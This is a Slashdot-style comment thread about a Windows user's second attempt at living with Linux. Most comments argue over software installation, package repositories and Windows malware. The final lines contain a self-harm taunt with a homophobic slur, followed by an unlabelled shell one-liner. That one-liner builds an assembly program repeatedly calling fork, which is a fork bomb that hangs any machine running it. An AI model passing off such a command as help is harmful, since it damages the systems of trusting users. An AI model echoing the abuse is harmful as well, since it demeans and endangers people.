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Living Free With Linux, Round 2
bsk_cw writes "About a month ago, in Living free with Linux: 2 weeks without Windows, Preston Gralla wrote about what life was like for a long-time Windows user trying to live with Linux. His main problems came when he tried to install or update software. Loads of people responded with advice — so he went back and tried again. Here's what he learned, and what did and didn't work for him."
Guys! It's a shame to laugh on people with mental disabilities caused by long windows use. :) They can not do simplest things with computers not because they are stupid. It is special kind of disease developed by addiction to malicious and potentially dangerous software. Drugs are illegal so windows must be. :)
"Now do you see why this is a REAL problem ?"
No, no I don't. Unless you mean people blaming the operating system for abandonware and broken software, which is just wrong.
Lets us OSX as a counter example:
1. find the software you want to install
2. Oh, nobody makes it for Mac. FAIL.
Or windows
1. find the software you want to install
2. Download it from the internet
3. Get infected with spyware.
Going back to your linux list, why would you search the web when you can look in the repository first?
Hmm, I want a media player.
So I start Synaptic, hit "search", type "media player", select one or more and then install it.
What could be easier?
I haven't had to get an app outside the distro repositories in... well since I switched to using linux as a main OS a couple of years back. There is now probably more software for linux than there is for windows, and certainly more that's (cost) free.
What SPECIFIC examples do you have of when you've come across that situation?
I posted on a forum for some help. Some of the responses were useless (degrading) but some of the responses were of people genuinely trying to help.
kill yorself faggit
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;